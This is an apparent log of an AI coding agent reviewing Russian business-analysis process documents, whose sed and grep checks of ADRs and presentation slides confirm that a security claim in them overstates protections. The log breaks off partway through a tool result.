{\n[2026-09-29T07:55:16.691Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:55:16.697Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:55:16.701Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:55:16.706Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:55:16.711Z] [STDOUT]     },\n[2026-09-29T07:55:16.713Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:55:16.722Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:55:16.736Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:55:16.754Z] [STDOUT]   },\n[2026-09-29T07:55:16.760Z] [STDOUT]   durationMs: 742,\n[2026-09-29T07:55:16.767Z] [STDOUT] }\n[2026-09-29T07:55:16.770Z] [INFO] {\n[2026-09-29T07:55:16.770Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:55:16.770Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:55:16.770Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:55:16.770Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:16.770Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:16.770Z] [INFO]   \"uuid\": \"cd47ede9-7d18-46c4-9ac9-0d443d9cfe92\"\n[2026-09-29T07:55:16.770Z] [INFO] }\n[2026-09-29T07:55:17.837Z] [INFO] {\n[2026-09-29T07:55:17.837Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:55:17.837Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:55:17.837Z] [INFO]   \"estimated_tokens\": 100,\n[2026-09-29T07:55:17.837Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:17.837Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:17.837Z] [INFO]   \"uuid\": \"f53f83ba-154f-42de-9264-9dea7ca75841\"\n[2026-09-29T07:55:17.837Z] [INFO] }\n[2026-09-29T07:55:18.893Z] [INFO] {\n[2026-09-29T07:55:18.893Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:55:18.893Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:55:18.893Z] [INFO]   \"estimated_tokens\": 250,\n[2026-09-29T07:55:18.893Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:18.893Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:18.893Z] [INFO]   \"uuid\": \"bbefff91-1ea9-44eb-99f3-ad8dde664c50\"\n[2026-09-29T07:55:18.893Z] [INFO] }\n[2026-09-29T07:55:21.341Z] [INFO] {\n[2026-09-29T07:55:21.341Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:55:21.341Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:55:21.341Z] [INFO]   \"estimated_tokens\": 402,\n[2026-09-29T07:55:21.341Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:21.341Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:21.341Z] [INFO]   \"uuid\": \"83d35e72-7a0b-45a5-85a7-f3fcbb98b7ac\"\n[2026-09-29T07:55:21.341Z] [INFO] }\n[2026-09-29T07:55:21.369Z] [INFO] {\n[2026-09-29T07:55:21.369Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:55:21.369Z] [INFO]   \"message\": {\n[2026-09-29T07:55:21.369Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:55:21.369Z] [INFO]     \"id\": \"msg_011CfXNWJsnACnTn71a2cT3L\",\n[2026-09-29T07:55:21.369Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:55:21.369Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:55:21.369Z] [INFO]     \"content\": [\n[2026-09-29T07:55:21.369Z] [INFO]       {\n[2026-09-29T07:55:21.369Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:55:21.369Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:55:21.369Z] [INFO]         \"signature\": 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[INFO]       }\n[2026-09-29T07:55:21.369Z] [INFO]     ],\n[2026-09-29T07:55:21.369Z] [INFO]     \"container\": null,\n[2026-09-29T07:55:21.369Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:55:21.369Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:55:21.369Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:55:21.369Z] [INFO]     \"usage\": {\n[2026-09-29T07:55:21.369Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:55:21.369Z] [INFO]       \"cache_creation_input_tokens\": 7629,\n[2026-09-29T07:55:21.369Z] [INFO]       \"cache_read_input_tokens\": 41603,\n[2026-09-29T07:55:21.369Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:55:21.369Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:55:21.369Z] [INFO]         \"ephemeral_1h_input_tokens\": 7629\n[2026-09-29T07:55:21.369Z] [INFO]       },\n[2026-09-29T07:55:21.369Z] [INFO]       \"output_tokens\": 5,\n[2026-09-29T07:55:21.369Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:55:21.369Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:55:21.369Z] [INFO]     },\n[2026-09-29T07:55:21.369Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:55:21.369Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:55:21.369Z] [INFO]     \"context_management\": null\n[2026-09-29T07:55:21.369Z] [INFO]   },\n[2026-09-29T07:55:21.369Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:55:21.369Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:21.369Z] [INFO]   \"uuid\": \"bf86b672-e9d0-4325-8df7-596beed55301\",\n[2026-09-29T07:55:21.369Z] [INFO]   \"timestamp\": \"2026-09-29T07:55:21.341Z\",\n[2026-09-29T07:55:21.369Z] [INFO]   \"request_id\": \"req_011CfXNWJRzJcsUvKMcHS1WV\"\n[2026-09-29T07:55:21.369Z] [INFO] }\n[2026-09-29T07:55:21.377Z] [INFO] {\n[2026-09-29T07:55:21.377Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:55:21.377Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:55:21.377Z] [INFO]   \"estimated_tokens\": 7,\n[2026-09-29T07:55:21.377Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:21.377Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:21.377Z] [INFO]   \"uuid\": \"58b4945c-4118-4d81-9928-6ca37c7d00d8\"\n[2026-09-29T07:55:21.377Z] [INFO] }\n[2026-09-29T07:55:21.385Z] [INFO] {\n[2026-09-29T07:55:21.385Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:55:21.385Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:55:21.385Z] [INFO]   \"estimated_tokens\": 15,\n[2026-09-29T07:55:21.385Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:21.385Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:21.385Z] [INFO]   \"uuid\": \"fd8496a2-fd82-4539-b1d3-1b87e45145d4\"\n[2026-09-29T07:55:21.385Z] [INFO] }\n[2026-09-29T07:55:21.390Z] [INFO] {\n[2026-09-29T07:55:21.390Z] [INFO]   \"type\": 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[INFO] {\n[2026-09-29T07:55:21.405Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:55:21.405Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:55:21.405Z] [INFO]   \"estimated_tokens\": 29,\n[2026-09-29T07:55:21.405Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:21.405Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:21.405Z] [INFO]   \"uuid\": \"b891ea1f-8507-4bc9-8a03-091aa3f94d05\"\n[2026-09-29T07:55:21.405Z] [INFO] }\n[2026-09-29T07:55:21.409Z] [INFO] {\n[2026-09-29T07:55:21.409Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:55:21.409Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:55:21.409Z] [INFO]   \"estimated_tokens\": 33,\n[2026-09-29T07:55:21.409Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:21.409Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:21.409Z] [INFO]   \"uuid\": \"58bb93bb-1394-446f-8d17-0fa346008ed9\"\n[2026-09-29T07:55:21.409Z] [INFO] }\n[2026-09-29T07:55:21.412Z] [INFO] {\n[2026-09-29T07:55:21.412Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:55:21.412Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:55:21.412Z] [INFO]   \"estimated_tokens\": 41,\n[2026-09-29T07:55:21.412Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:21.412Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:21.412Z] [INFO]   \"uuid\": \"8dbebc17-a5fb-4b4f-84eb-8df6bf83c353\"\n[2026-09-29T07:55:21.412Z] [INFO] }\n[2026-09-29T07:55:21.418Z] [INFO] {\n[2026-09-29T07:55:21.418Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:55:21.418Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:55:21.418Z] [INFO]   \"estimated_tokens\": 42,\n[2026-09-29T07:55:21.418Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:21.418Z] [INFO]   \"session_id\": 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63,\n[2026-09-29T07:55:21.448Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:21.448Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:21.448Z] [INFO]   \"uuid\": \"99d03471-d336-4187-8e64-5e44126b8ea5\"\n[2026-09-29T07:55:21.448Z] [INFO] }\n[2026-09-29T07:55:21.455Z] [INFO] {\n[2026-09-29T07:55:21.455Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:55:21.455Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:55:21.455Z] [INFO]   \"estimated_tokens\": 69,\n[2026-09-29T07:55:21.455Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:21.455Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:21.455Z] [INFO]   \"uuid\": \"a60b8dea-1697-40ef-974d-047b26b1f905\"\n[2026-09-29T07:55:21.455Z] [INFO] }\n[2026-09-29T07:55:21.460Z] [INFO] {\n[2026-09-29T07:55:21.460Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:55:21.460Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:55:21.460Z] [INFO]   \"estimated_tokens\": 75,\n[2026-09-29T07:55:21.460Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:21.460Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:21.460Z] [INFO]   \"uuid\": \"ad7b5c02-edc2-4029-b2fe-b6129fd0e0e2\"\n[2026-09-29T07:55:21.460Z] [INFO] }\n[2026-09-29T07:55:21.463Z] [INFO] {\n[2026-09-29T07:55:21.463Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:55:21.463Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:55:21.463Z] [INFO]   \"estimated_tokens\": 76,\n[2026-09-29T07:55:21.463Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:21.463Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:21.463Z] [INFO]   \"uuid\": \"59594c35-0b52-4d2c-aef1-229012de5fc5\"\n[2026-09-29T07:55:21.463Z] [INFO] }\n[2026-09-29T07:55:21.467Z] [INFO] {\n[2026-09-29T07:55:21.467Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:55:21.467Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:55:21.467Z] [INFO]   \"estimated_tokens\": 216,\n[2026-09-29T07:55:21.467Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:21.467Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:21.467Z] [INFO]   \"uuid\": \"1d386aa1-0df3-4e33-9b44-9c2592436d82\"\n[2026-09-29T07:55:21.467Z] [INFO] }\n[2026-09-29T07:55:21.480Z] [INFO] {\n[2026-09-29T07:55:21.480Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:55:21.480Z] [INFO]   \"message\": {\n[2026-09-29T07:55:21.480Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:55:21.480Z] [INFO]     \"id\": \"msg_011CfXNWJsnACnTn71a2cT3L\",\n[2026-09-29T07:55:21.480Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:55:21.480Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:55:21.480Z] [INFO]     \"content\": [\n[2026-09-29T07:55:21.480Z] [INFO]       {\n[2026-09-29T07:55:21.480Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:55:21.480Z] [INFO]         \"thinking\": \"I've found two issues so far: the security answer overstates protections since \u0413-12 treats the MCP read-only limit as merely organizational and the hook allows any `use_mcp_tool` through, and the \\\"\u0434\u043e\u043c\u0435\u043d \u2014 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2014 \u0440\u0435\u0436\u0438\u043c\\\" naming scheme is unverified. I'll continue checking the rest.\\n\\n\",\n[2026-09-29T07:55:21.480Z] [INFO]         \"signature\": \"CAQS1gYKEQgSGAI4AUIJbmFycmF0aW9uEgzL1yXEu8tNA3isfqEaDEJDqaf8nVkvUjECaCIwDeknPFsnWarYnWY/K5eaBNt4TLW6UbPgPdnSJ/TjCxZ2WXC86utAVGyUmtXrRfBEKvIFuQPnKrCINoet9ZfmB6mKM89aSkulKpNILznX/hLoZ+sPlDFLhD7iQXLPLB4vSXJpeugendLLiCSgiBIC8kPvs1Tn0oIJAVhaFGa1jFqOVfNeIKhvgP9Mm/orcdxLCuXvL4eFwygCzkkb5ZsK3Zaqoj1tFKojpn5KrMJ/9FNE1MrpU9OaJrrhUjaH+glep09v+A6CL1ag8o8+Jzg9dddGfPyLbd6lJ536J13VFlS5quPyGgfj67COhD4UDk8ZORTad372CmLrqXPMv2kcFK90j7zscMDZFciHi28N/lZpHB1zJdITUq730X28QYcJFHZ7bdRKunO96PB74ih67lnZc6irqBEmbE2S0PzY7v5UdwUaoXxmxKkaNEo33M1YkHIWCQFMR/kbHP/ZdFAOb8Bvr0VNDr82Qw09CPrHrMNSRpOAM8XOEuCYthKbOTn1rxKiYLo1+1I607gIuX7Fx9ebOPj/iW/1JuSLnb395kb8SdbWsMSZ3/vcdqhVZzkPw8rjuVXkK6Ijwz/lrDYo16xbVjZwRJ1eOCUBUh9BMqYL9IvD0QMq+9MOXh37oxhv0gEKeUJl+nWCVNnf8tZnJ/uYMckNPvLmj5Ck1nZ40B+8lqkhY0ngNDaXwkW1EzTZiW44BSOJyXRWl7xui+ketRxE3+YZ/jnVWvpVhm9p1VApyHU+ZQZZb3YZ+LqnezfQOoP1VlOwHGmghTca/Tc80dUnducBXZuJzcC0jDTSfgHRj81PlKrLuI9nlVUSkKwWDoXiQ8NZxouSnrVKwdy5Gmzzj/v3lLDWcUaUHCN/mUvyWneBolnaj5q9eOGiH1cEiBJk/yXqcXzFRdPs2bmcsZCjivKoACrK4+z08VtfXmHd07eKYJ7+tuYnX+1f01+cI7fISsQkRo2MyH/4YjboPZdk30etzNy8gWUh08pSRjNi6pWt8C7k0d9pLxNpsZX9K1vDxxvaOFof0losWUQhtw3b24TWEM8Sd1Ni+FTFos7L1JWZ0RgB\"\n[2026-09-29T07:55:21.480Z] [INFO]       }\n[2026-09-29T07:55:21.480Z] [INFO]     ],\n[2026-09-29T07:55:21.480Z] [INFO]     \"container\": null,\n[2026-09-29T07:55:21.480Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:55:21.480Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:55:21.480Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:55:21.480Z] [INFO]     \"usage\": {\n[2026-09-29T07:55:21.480Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:55:21.480Z] [INFO]       \"cache_creation_input_tokens\": 7629,\n[2026-09-29T07:55:21.480Z] [INFO]       \"cache_read_input_tokens\": 41603,\n[2026-09-29T07:55:21.480Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:55:21.480Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:55:21.480Z] [INFO]         \"ephemeral_1h_input_tokens\": 7629\n[2026-09-29T07:55:21.480Z] [INFO]       },\n[2026-09-29T07:55:21.480Z] [INFO]       \"output_tokens\": 5,\n[2026-09-29T07:55:21.480Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:55:21.480Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:55:21.480Z] [INFO]     },\n[2026-09-29T07:55:21.480Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:55:21.480Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:55:21.480Z] [INFO]     \"context_management\": null\n[2026-09-29T07:55:21.480Z] [INFO]   },\n[2026-09-29T07:55:21.480Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:55:21.480Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:21.480Z] [INFO]   \"uuid\": \"693d449a-b82d-4268-8c5d-9a4a0ddc725d\",\n[2026-09-29T07:55:21.480Z] [INFO]   \"timestamp\": \"2026-09-29T07:55:21.368Z\",\n[2026-09-29T07:55:21.480Z] [INFO]   \"request_id\": \"req_011CfXNWJRzJcsUvKMcHS1WV\",\n[2026-09-29T07:55:21.480Z] [INFO]   \"narration_block_indexes\": [\n[2026-09-29T07:55:21.480Z] [INFO]     0\n[2026-09-29T07:55:21.480Z] [INFO]   ]\n[2026-09-29T07:55:21.480Z] [INFO] }\n[2026-09-29T07:55:23.980Z] [INFO] {\n[2026-09-29T07:55:23.980Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:55:23.980Z] [INFO]   \"message\": {\n[2026-09-29T07:55:23.980Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:55:23.980Z] [INFO]     \"id\": \"msg_011CfXNWJsnACnTn71a2cT3L\",\n[2026-09-29T07:55:23.980Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:55:23.980Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:55:23.980Z] [INFO]     \"content\": [\n[2026-09-29T07:55:23.980Z] [INFO]       {\n[2026-09-29T07:55:23.980Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:55:23.980Z] [INFO]         \"id\": \"toolu_01NgutnEZwUwZSnBkx5dj7ER\",\n[2026-09-29T07:55:23.980Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:55:23.980Z] [INFO]         \"input\": {\n[2026-09-29T07:55:23.980Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; P=projects/ba-ai-process\\nsed -n 18,26p $P/docs/analysis/2026-09-23-requirements-run-forensics.md; echo ----\\nsed -n 213,220p $P/ba-meta-model/40-practice-and-cases.md; echo ----\\nsed -n 186,200p $P/docs/presentation/2026-09-29-meta-model-presentation-slides.md; echo ----\\ngrep -n -i '\u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\\\\|\u043a\u043b\u044e\u0447' $P/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md | head -5; echo ----\\ngrep -rn -i '\u0437\u0430\u043f\u0440\u0435\u0449.*\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\\\|\u043c\u0435\u043d\u044f\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\\\|\u043d\u0435 \u043c\u0435\u043d\u044f\u0435\u0442 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\\\|\u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442' $P/dist/execution-package-cline-vscode/*.md $P/dist/execution-package-cline-vscode/.clinerules* $P/docs/adr/*.md 2>/dev/null | head -5\\ngrep -n -i '\u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\\\\|\u043f\u0443\u0431\u043b\u0438\u0447\u043d\\\\|\u0441\u0435\u043a\u0440\u0435\u0442' $P/docs/adr/2026-09-adr-019*.md $P/decisions/2026-09-adr-017*.md | head -8\",\n[2026-09-29T07:55:23.980Z] [INFO]           \"description\": \"Check forensic classes, M-1 baseline, security claims\"\n[2026-09-29T07:55:23.980Z] [INFO]         },\n[2026-09-29T07:55:23.980Z] [INFO]         \"caller\": {\n[2026-09-29T07:55:23.980Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:55:23.980Z] [INFO]         }\n[2026-09-29T07:55:23.980Z] [INFO]       }\n[2026-09-29T07:55:23.980Z] [INFO]     ],\n[2026-09-29T07:55:23.980Z] [INFO]     \"container\": null,\n[2026-09-29T07:55:23.980Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:55:23.980Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:55:23.980Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:55:23.980Z] [INFO]     \"usage\": {\n[2026-09-29T07:55:23.980Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:55:23.980Z] [INFO]       \"cache_creation_input_tokens\": 7629,\n[2026-09-29T07:55:23.980Z] [INFO]       \"cache_read_input_tokens\": 41603,\n[2026-09-29T07:55:23.980Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:55:23.980Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:55:23.980Z] [INFO]         \"ephemeral_1h_input_tokens\": 7629\n[2026-09-29T07:55:23.980Z] [INFO]       },\n[2026-09-29T07:55:23.980Z] [INFO]       \"output_tokens\": 5,\n[2026-09-29T07:55:23.980Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:55:23.980Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:55:23.980Z] [INFO]     },\n[2026-09-29T07:55:23.980Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:55:23.980Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:55:23.980Z] [INFO]     \"context_management\": null\n[2026-09-29T07:55:23.980Z] [INFO]   },\n[2026-09-29T07:55:23.980Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:55:23.980Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:23.980Z] [INFO]   \"uuid\": \"defa5485-3e1d-4b02-9ba1-2ed807ede569\",\n[2026-09-29T07:55:23.980Z] [INFO]   \"timestamp\": \"2026-09-29T07:55:23.968Z\",\n[2026-09-29T07:55:23.980Z] [INFO]   \"request_id\": \"req_011CfXNWJRzJcsUvKMcHS1WV\",\n[2026-09-29T07:55:23.980Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:55:23.980Z] [INFO]     \"toolu_01NgutnEZwUwZSnBkx5dj7ER\": {\n[2026-09-29T07:55:23.980Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920; P=projects/ba-ai-process\\nsed -n 18,26p $P/docs/analysis/2026-09-23-requirements-run-forensics.md; echo ----\\nsed -n 213,220p $P/ba-meta-model/40-practice-and-cases.md; echo ----\\nsed -n 186,200p $P/docs/presentation/2026-09-29-meta-model-presentation-slides.md; echo ----\\ngrep -n -i '\u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\\\\|\u043a\u043b\u044e\u0447' $P/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md | head -5; echo ----\\ngrep -rn -i '\u0437\u0430\u043f\u0440\u0435\u0449.*\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\\\|\u043c\u0435\u043d\u044f\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\\\|\u043d\u0435 \u043c\u0435\u043d\u044f\u0435\u0442 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\\\|\u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442' $P/dist/execution-package-cline-vscode/*.md $P/dist/execution-package-cline-vscode/.clinerules* $P/docs/adr/*.md 2>/dev/null | head -5\\ngrep -n -i '\u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\\\\|\u043f\u0443\u0431\u043b\u0438\u0447\u043d\\\\|\u0441\u0435\u043a\u0440\u0435\u0442' $P/docs/adr/2026-09-adr-019*.md $P/decisions/2026-09-adr-017*.md | head -8\",\n[2026-09-29T07:55:23.980Z] [INFO]       \"description\": \"Check forensic classes, M-1 baseline, security claims\"\n[2026-09-29T07:55:23.980Z] [INFO]     }\n[2026-09-29T07:55:23.980Z] [INFO]   }\n[2026-09-29T07:55:23.980Z] [INFO] }\n[2026-09-29T07:55:26.039Z] [INFO] {\n[2026-09-29T07:55:26.039Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:55:26.039Z] [INFO]   \"message\": {\n[2026-09-29T07:55:26.039Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:55:26.039Z] [INFO]     \"content\": [\n[2026-09-29T07:55:26.039Z] [INFO]       {\n[2026-09-29T07:55:26.039Z] [INFO]         \"tool_use_id\": \"toolu_01NgutnEZwUwZSnBkx5dj7ER\",\n[2026-09-29T07:55:26.039Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:55:26.039Z] [INFO]         \"content\": \"## \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\\n\\n\u041a\u043e\u0440\u043f\u0443\u0441 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 \u043d\u0435 \u0435\u0434\u0438\u043d\u0438\u0447\u043d\u0443\u044e \u043e\u0448\u0438\u0431\u043a\u0443 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438, \u0430 \u0447\u0435\u0442\u044b\u0440\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445\\n\u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u0430: \u043d\u0435\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u0439 \u0444\u0430\u043a\u0442 \u043f\u043e\u0432\u044b\u0448\u0430\u0435\u0442\u0441\u044f \u0434\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f; \u0442\u0435\u043a\u0443\u0449\u0435\u0435\\n\u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435, \u0440\u0435\u0448\u0435\u043d\u0438\u0435, UI \u0438\u043b\u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u043e\u0448\u0438\u0431\u043e\u0447\u043d\u043e \u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0442\u0441\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u043c\\n\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435\u043c; \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0442\u0435\u043a\u0441\u0442\u0430 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438;\\n\u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u0430\u044f \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f 